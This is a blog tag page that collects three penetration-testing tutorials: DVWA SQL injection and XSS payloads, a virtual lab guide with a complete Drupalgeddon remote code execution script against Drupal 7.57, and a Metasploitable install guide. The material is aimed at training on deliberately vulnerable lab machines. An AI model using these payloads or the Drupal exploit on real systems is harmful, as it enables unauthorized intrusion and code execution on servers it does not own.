Tag: exploit

  • DVWA Hacking Tutorial

    DVWA Hacking Tutorial

    Greetings my fellow hackers! This will be a multi-part DVWA hacking tutorial covering many practical examples for exploiting vulnerabilities, gaining a foothold, and taking over the host.

    So you’ve got DVWA up and running, you see some kind of a login page, and have no idea where to get started? Fear not! I’ve been where you are. In this multi-part DVWA hacking tutorial I will cover numerous techniques for a full takeover of DVWA. Throughout this tutorial you’ll learn many hacking techniques and if you follow along you will learn how to practice hacking as well.

    Using This Tutorial

    To follow along with this tutorial you will need an instance of DVWA up and running. If you still need to install DVWA check out our tutorial: How to install DVWA in Ubuntu

    Before we get started, we need to talk about DVWA security levels. Since DVWA is a tool for learning about cybersecurity, the authors implemented “levels” of difficulty. A higher security level generally means you’ll have a harder time exploiting vulnerabilities. For these tutorials, unless otherwise noted, we will be using the LOW security level.

    Once you get more comfortable finding and exploiting vulnerabilities, try again on a higher security level. You will most likely find you need to change tactics!

    DVWA Security Levels

    How many security levels are there in DVWA?

    There are 4 security levels in DVWA. These range from LOW to IMPOSSIBLE and set the difficulty for attacking the application. The security levels also reveal how specific issues can be coded more securely.

    LOW – This security level is completely vulnerable and has no security measures at all. It is meant to be an example of how web application vulnerabilities manifest through bad coding practices.

    MED – This level is more difficult than low and illustrates bad security practices, where the developer has tried but failed to secure an application. This level will require more sophisticated exploitation techniques.

    HIGH – This option is an extension to the medium difficulty, with a mixture of harder or alternative bad practices to attempt to secure the code. The vulnerability may not allow the same extent of exploitation.

    IMPOSSIBLE – This level should be secure against all vulnerabilities. It is used to compare the vulnerable source code to the secure source code.

    How do I change security levels in DVWA?

    Login with the default user (admin/password) and select DVWA Security from the menu on the left. Select the desired security level, and click Save. A message will indicate the security level was changed.

    After checking that the security level is set appropriately, we can begin. Lets get started with a classic and still effective attack: sql injection.

    DVWA Hacking Tutorial: SQL Injection

    A SQL injection vulnerability occurs when user input is not properly sanitized before being used to form a database query. This timeless comic describes the issue nicely!

    DVWA Hacking Tutorial: SQL Injection

    There are more than a handful SQL injection vulnerabilities in DVWA. We will start with the more obvious one by selecting SQL Injection from the left hand menu.

    Exploration

    We are presented with a form field asking for a User ID. This page looks like some kind of utility for looking up user information. Let us enter a random user id and see what happens. Why don’t we start with 1?

    DVWA SQL Injection

    It looks like User ID 1 belongs to the admin user. This is good information to save for later, but for now we want to hack something! Based on the provided output we could speculate that the backend query might look something like this:

    SELECT firstName, surname FROM users WHERE id='$id';

    Of course we are just speculating on the names of the columns. We are more interested in the actual structure of the query.

    Exploitation

    Let’s see what happens when we enter the following in the user ID field instead. Note: Be sure to copy the trailing space after the comment indicator: —

    ' or 1=1; -- 

    The results should look a little different this time!

    DVWA SQL Injection
    DVWA SQL Injection

    What just happened? The query now directly includes the user input. This makes the query end up actually looking like this:

    SELECT firstName, surname FROM users WHERE id='' or 1=1; -- ';

    Now the WHERE clause is looking for any rows that match the condition id=” (never true) OR 1=1 (always true). This causes the query to return all users on the application. By adding a comment to the end of our input we instruct the query processor to ignore the rest of the line so we don’t get an error because of the additional apostrophe.

    We now have a complete user listing of all users. With this information, we could now launch additional attacks. For instance, we could iteratively test User ID values and match them to individual users.

    With a little imagination, and a SQL injection vulnerability, there is no limit to the damage an attacker can do to a vulnerable system.

    DVWA Hacking Tutorial: XSS

    Cross Site Scripting (XSS) is a type of vulnerability that allows for the execution of Javascript (or other) code for cookie stealing, information scraping, and in extreme cases, hackers can use XSS to download malware without any action by the user.

    Let us select the XSS (Reflected) module from the menu on the left. Then we will once again begin with a benign entry to figure out what the application is doing.

    DVWA Cross Site Scripting (XSS)
    DVWA Cross Site Scripting (XSS)

    It looks as though the application is displaying our input directly on the page! This is often the first clue to a XSS vulnerability. Now we can test if the application does any filtering on the input.

    This time let us include a little Javascript this time and display an alert window with our cookie if we are successful.

    <script>alert(document.cookie);</script>

    Once again the application includes our input directly on the page. As a result, we should see an alert window pop-up with our PHPSESSID and security level cookies.

    XSS alert with cookie
    DVWA XSS alert with cookie

    Next time it might not be so easy. Even poorly implemented XSS filters will often remove < and > or look specifically for <script> tags. Evasion of XSS filters is an art in itself. Check out the XSS filter evasion cheat sheet and try again on a higher security level.

    Wrapping Up

    Hopefully this introductory DVWA hacking tutorial has taught you a few basic techniques to use when starting a penetration testing exercise. Check back soon for part 2 of this DVWA hacking tutorial for more advanced techniques and attacks. Did this tutorial help you? Was it horrible? Let us know in the comments below!

  • How to Build a Virtual Penetration Testing Lab

    As a penetration tester it is important to have a controlled environment in which to hone your skills and test new techniques. Testing on systems you do not own is illegal, even if it is just harmless curiosity. In this article I will show you how to build a virtual penetration testing lab using VirtualBox, Kali Linux, and Ubuntu.

    In this lab you can test, and hack away without worrying about the men in black showing up at your door. Plus, in a virtual environment you can carefully monitor each system’s behavior during an attack giving you further insight into how an exploit compromises a system.

    In addition, with a virtual network you can clone and snapshot instances with just a few clicks and easily create new pre-configured hosts. This allows you to try many different techniques in a short period of time, and always start from the same base configuration.

    Below are the steps we will take to create the virtual penetration testing lab.

    Install VirtualBox

    VirtualBox is a fantastic virtualization tool for building a penetration testing lab.

    First, you will want to grab a copy of VirtualBox and run through the installation for your OS. VirtualBox is a fantastic virtualization tool and provides a rich feature set for operating virtual machines.

    Our entire virtual penetration testing lab will be hosted in VirtualBox. This keeps the host system nice and tidy. Most PCs these days can easily support 2 or even 3 Linux guest VMs hosting a simple web server for example.

    VirtualBox also provides snapshot capabilities allowing VM states to be stored and recalled with the click of a button.

    Set up the Virtual Network

    Once we’ve got VirtualBox installed we need a network for our machines to live on. To keep the lab isolated we will want the machines to be restricted to a dedicated private network. VirtualBox makes this easy with the NAT Network. With a NAT Network all of our lab machines can easily communicate with one another while also having NATed access to the Internet.

    If you haven’t set up a NAT Network before read on below. It is a little different from the other VirtualBox networking options but I will show you how to set up a NAT Network in VirtualBox.

    First you will need to create the network itself. This is done under VirtualBox > Preferences. Select the Network tab and then add a new network.

    Double-clicking the newly created network allows you to configure the subnet IP range, the name of the network, and DHCP options. For now the defaults are fine but go ahead and rename the network if you wish.

    Virtual network configuration for virtual penetration testing lab.

    I like the NAT Network option best as it provides each of the VMs with a NATed Internet connection. It also places each of the VMs on the same private network allowing our lab machines to easily communicate with one another. Now let us fill our penetration testing lab with some machines.

    Create the Kali Host

    Kali Linux is a fantastic distribution loaded with all sorts of penetration testing tools. I like to have a Kali host on my lab network either for launching attacks or fingerprinting hosts.

    Kali is a breeze to install with the pre-made VirtualBox image. Follow our in-depth tutorial to Install Kali LInux in Virtual Box on Mac. Check that guide out if you need some extra help, otherwise the basic steps are listed below.

    Download the Kali VirtualBox image from the Offensive Security downloads page.

    The downloaded file is a VirtualBox appliance file. After the download completes, open VirtualBox and select File > Import Appliance…

    select-downloaded-kali-appliance

    The default user for the appliance is root with a default password of toor.

    Now let us add some targets to the lab network.

    Build the Base Ubuntu Image

    Ideally we want the virtual pentesting lab to be as re-useable as possible. I use VirtualBox appliances for this. An appliance packages up your virtual machine as a single file including all the machine settings and the current machine state. This appliance file can be imported as many times as needed to create a new virtual machine.

    I use Ubuntu for this base machine. Ubuntu is widely supported, and an easily configured OS.

    Lets start by setting up a base Ubuntu virtual machine, and then I will show you how to create an appliance out of it.

    Download Ubuntu

    Download the Ubuntu ISO. The minimal version is fine, but grab the standard version if you prefer a full graphical desktop.

    Create the VM

    While the ISO is donwloading create a new virtual machine.

    Once the ISO has downloaded, insert it into the virtual machine.

    Install Ubuntu

    Start the VM and run through the Ubuntu installation process. For a base box most of the defaults are fine and give you a clean minimal Ubuntu installation.

    There are plenty of installation tutorials available for Ubunut and VirtualBox so I won’t go into detail here. Google is your friend.

    Remember, you’ll only have to step through this installation once!

    Tweak the Machine

    At this point you could stop and create an appliance. However you may also wish to perform a few more customizations for your base appliance.

    For example, you could install your preferred text editor (mine’s vim!), install a default set of base packages, or just customize the shell prompt.

    Export the Appliance

    Once you have finished tweaking your base box it is time to export the appliance. This is as simple as File > Export Appliance. Tweak any options, and put this file somewhere for later.

    Now whenever you need a new host in the lab, you can import this appliance. This will save you considerable time as you won’t have to go through the same initial configuration over and over for each host.

    Hacking Drupal

    That is pretty much all we need for a basic penetration testing lab. We have a master host for launching and monitoring attacks. We have also created a re-useable base appliance for easily creating test targets.

    Now I will run through an example exploit using our new penetration testing lab. I will demonstrate one of the DrupalGeddon vulnerabilities that were discovered in early 2018. You may want to start by reading the analysis of the vulnerability.

    For this example we will set up a base web server running a vulnerable Drupal installation.

    We will then use a simple Python script on the Kali host and exploit the vulnerability.

    Creating the Target Host

    If you don’t have any Ubuntu VMs running, grab your appliance and spin up a new VM. Log in to your target virtual machine to begin the setup.

    The Drupalgeddon vulnerability came out quite some time ago so we will need to install some repositories first.

    # Install php5.6 repository
    apt-get install software-properties-common
    add-apt-repository ppa:ondrej/php
    apt-get update
    
    # Install php5.6 packages
    apt-get install php5.6 php5.6-gd php5.6-xml php5.6-mysql php5.6-mbstring

    Now we can install the Apache web server and the MySQL database

    # Install Apache and MySQL
    apt install apache2
    apt install mysql-server
    
    # Restart apache2
    service apache2 restart
    
    # Restart mysql
    service mysql restart
    
    # Secure mysql installation
    mysql_secure_installation

    Now let’s create the database and user.

    # Use mysql command to enter the mysql console
    mysql
    
    # Then create the database and user
    mysql> CREATE DATABASE databasename CHARACTER SET utf8 COLLATE utf8_general_ci;
    mysql> CREATE USER username@localhost IDENTIFIED BY 'password';
    mysql> GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, INDEX, ALTER, CREATE TEMPORARY TABLES ON databasename.* TO 'username'@'localhost' IDENTIFIED BY 'password';

    After we have installed the required packages, we can begin to install Drupal.

    Simply download and extract the Drupal archive, and then pull up the site in a browser to complete the installation.

    cd /var/www/html/
    wget https://ftp.drupal.org/files/projects/drupal-7.57.tar.gz
    tar -xzvf drupal-7.57.tar.gz
    cd /var/www/html/drupal-7.57/
    cp sites/default/default.settings.php sites/default/settings.php
    cd /var/www/html/
    chown -R www-data:www-data drupal-7.57/

    If you need the private IP of the server you can use the following command.

    # Get the server private IP
    ifconfig

    Now navigate to the IP of your VM in a browser. You should be greeted by the Drupal installation page.

    Once you reach the database configuration page, enter the database user details for the user you created earlier.

    After the installer is complete you can check out your fresh new homepage.

    If we check the status report, we can see that we are in fact running Drupal 7.57. Now let us have some fun with this!

    Exploiting the Target

    Now that we have a vulnerable target set up, let us get to work exploiting it.

    The following is a simple Python script that will exploit the vulnerability and demonstrate remote code execution. Be sure to check out the vulnerability analysis if you aren’t sure how the script works.

    This vulnerability gives us the ability to execute arbitrary code on the target server. We could use this to do some pretty nasty things, but lets just make a tiny modification to index.php.

    The ‘shell_code’ variable holds the code that we are injecting into index.php. This is just a simple Javascript alert that will show any time the page is loaded. I’ll leave it up to you to see what else you can do with this vulnerability.

    #!/usr/bin/python
    
    import requests
    import re
    import base64
    
    target='192.168.56.9/drupal-7.57'
    shell_code = "echo \"<script>alert('Ouch. Time to patch. ');</script>\";"
    encoded_cmd = base64.b64encode(shell_code)
    bashcmd = "echo " + encoded_cmd + " | base64 -d >> index.php"
    print bashcmd
    target_url = '/?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=' + bashcmd
    payload = "form_id=user_pass&_triggering_element_name=name"
    
    url = 'http://' + target + target_url
    url = url.replace('#', '%23')
    url = url.replace(' ', '+')
    print url
    
    headers = {'content-type': 'application/x-www-form-urlencoded'}
    r = requests.post(url, headers=headers, data=payload)
    body = r.text
    
    # Extract form id from body
    m = re.search('form_build_id" value="(form-.*)"', body)
    form_build_id = m.group(1)
    
    trigger_url = 'http://' + target + '/?q=file/ajax/name/#value/' + form_build_id
    trigger_url = trigger_url.replace('#', '%23')
    trigger_url = trigger_url.replace(' ', '+')
    payload = "form_build_id=" + form_build_id
    
    # Trigger the exploit
    r = requests.post(trigger_url, headers=headers, data=payload)
    

    Run the script and head on over to your browser. You should see the Javascript alert pop up when the page reloads.

    And there you have it. We’ve just exploited Drupal in our virtual penetration testing lab.

    Benefits of a Virtual Penetration Testing Lab

    We’ve already covered how easy it is to create and snapshot hosts. We can also use Wireshark to monitor network traffic on our lab network.

    To do this, open Wireshark on your host machine (the one running VirtualBox). After that, select the NAT Network you created (mine is named vboxnet0) from the available interfaces list.

    Wireshark is a great tool for monitoring traffic in your virtual penetration testing lab.

    Wireshark now shows you all the traffic passing between your lab machines. This is extremely useful when debugging an exploit, or assessing a vulnerability.

    Something Extra

    The best part of a virtual penetration testing lab is the versatility it provides.

    Metasploitable2 is a vulnerable virtual machine that can easily be added to your lab.

    I go through the installation process in my article: How to Install Metasploitable in VirtualBox

    Or you can grab the download on Sourceforge.

  • How to Install Metasploitable in VirtualBox

    How to Install Metasploitable in VirtualBox

    In this article I go over how to install Metasploitable in VirtualBox. Metasploitable is a virtual machine with several intentional misconfigurations and vulnerabilities for you to exploit. This is a great tool for sharpening your penetration testing skills.

    You can definitely get Metasploitable up and running with out a full lab, but I highly recommend you build a virtual penetration testing lab first.

    Download Metasploitable

    Grab a copy of the Metasploitable virtual machine at: SourceForge

    Grab Metasploitable over at SourceForge

    While you are waiting for the file to download you can start setting up the VM.

    Create the VirtualBox VM

    Create a new virtual machine in Virtual Box. Give the machine a descriptive name, and select Linux as the type.

    Create virtual machine to install Metasploitable

    Use an Existing Hard Disk

    During the installation select Use an Existing Hard Disk File and select the downloaded Metasploitable vmdk file.

    Install Metasploitable VMDK

    Once the machine has been created, go ahead and fire it up.

    Start the VM

    After the initial boot process you will be greeted by the Metasploitable login screen. The default username is “msfadmin”, and the default password is also “msfadmin”.

    Login screen after installing Metasploitable

    That is all it takes to install Metasploitable. Now you may be wondering where to begin…

    Where to Start in Metasploitable

    It can be overwhelming if you have no idea how to start. Running a simple nmap scan against Metasploitable should give you plenty of avenues to explore.

    If you are still having trouble, there are tons of guides available for hacking your way through Metasploitable.

    Nmap scan after installing Metasploitable

    You may also find the cyber kill chain to be a good framework for pentesting any system.

    Feel free to drop a comment below with any Metasploitable questions!